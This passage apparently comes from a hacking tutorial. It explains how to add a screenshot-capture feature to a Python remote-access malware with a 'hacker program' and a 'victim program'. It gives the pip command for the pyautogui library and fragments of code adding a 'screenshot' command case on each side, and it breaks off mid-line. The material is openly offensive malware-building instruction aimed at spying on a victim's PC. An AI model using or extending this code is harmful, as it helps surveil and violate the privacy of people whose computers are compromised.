Taking screenshots
You can also take screenshots of the victim's PC using your malware. For this, you will need to install additional libraries. We will need a module called pyautogui
. This module will help you to take a screenshot on the victim's PC:
- To install it, go to your victim's machine and write the following command to install it. It's a good idea to create a virtual environment and install this program in the virtual environment:
pip install pyautogui
This will install the requisite module.
- Next, we need to define the case for taking a screenshot. In the hacker program, create a new case and set the following condition:
if command == "screenshot": print("Taking screenshot")
- Similarly, on the victim program, write the same case as well:
elif hacker_command == "screenshot": print("Taking screenshot") screenshot = pyautogui.screenshot...